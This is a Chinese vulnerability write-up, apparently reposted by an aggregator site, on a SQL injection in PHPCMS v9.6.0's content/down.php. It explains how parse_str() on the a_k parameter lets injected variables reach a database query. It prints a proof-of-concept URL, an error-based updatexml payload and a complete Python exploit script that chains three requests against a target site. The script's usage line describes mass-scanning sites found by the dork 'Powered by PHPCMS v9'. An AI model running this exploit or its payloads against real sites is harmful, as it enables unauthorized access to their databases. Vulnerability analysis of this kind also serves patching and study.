PHPCMS v9.6.0 wap模块 SQL注入
Posted 羊小弟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHPCMS v9.6.0 wap模块 SQL注入相关的知识,希望对你有一定的参考价值。
调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。
由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\\\' 。
看这里:https://github.com/80vul/pasc2at
漏洞来源:https://www.seebug.org/vuldb/ssvid-92929
分析:这个漏洞要三步的过程,直接进入第三步。
根据给的poc: /phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw
可以看到应该是a_k参数出现问题,位于content目录下, down.php页面,
parse_str($a_k); 以&为
分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)
我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}
会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)
进入get_one函数就开始对sql语句进行查询了。
所以就是个注入了,是由parse_str()函数引起。
接着看怎么解码的,继续下断点。
function sys_auth($string, $operation = \'ENCODE\', $key = \'\', $expiry = 0) 函数位于 phpcms/libs/functions/global.func.php 第384-430行
好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)
看第二个请求。
代码如下:
存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。
设置了json_str,所以在回显中cookie有这么一段。
Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI
这个post请求中有个post的参数,userid_flash ,搜索一下他干嘛的,
要存在userid,不然就不能往下执行,所以才有了第一步。
poc:
#!/usr/bin/env python # -*- coding: utf-8 -*- # project = https://github.com/Xyntax/POC-T # author = i@cdxy.me """ PHPCMS content/down.php SQL Injection version <= 9.6.0 Type error-based Usage python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100 """ import requests import re from urllib import quote TIMEOUT = 3 def poc(url): payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f=" cookies = {} step1 = \'{}/index.php?m=wap&a=index&siteid=1\'.format(url) for c in requests.get(step1, timeout=TIMEOUT).cookies: if c.name[-7:] == \'_siteid\': cookie_head = c.name[:6] cookies[cookie_head + \'_userid\'] = c.value cookies[c.name] = c.value break else: return False step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload)) for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies: if c.name[-9:] == \'_att_json\': enc_payload = c.value print \'111\' break else: return False setp3 = url + \'/index.php?m=content&c=down&a_k=\' + enc_payload print \'222\' r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT) print r.content print poc(\'http://phpstudy.com/phpv9.6.0/\')
以上是关于PHPCMS v9.6.0 wap模块 SQL注入的主要内容,如果未能解决你的问题,请参考以下文章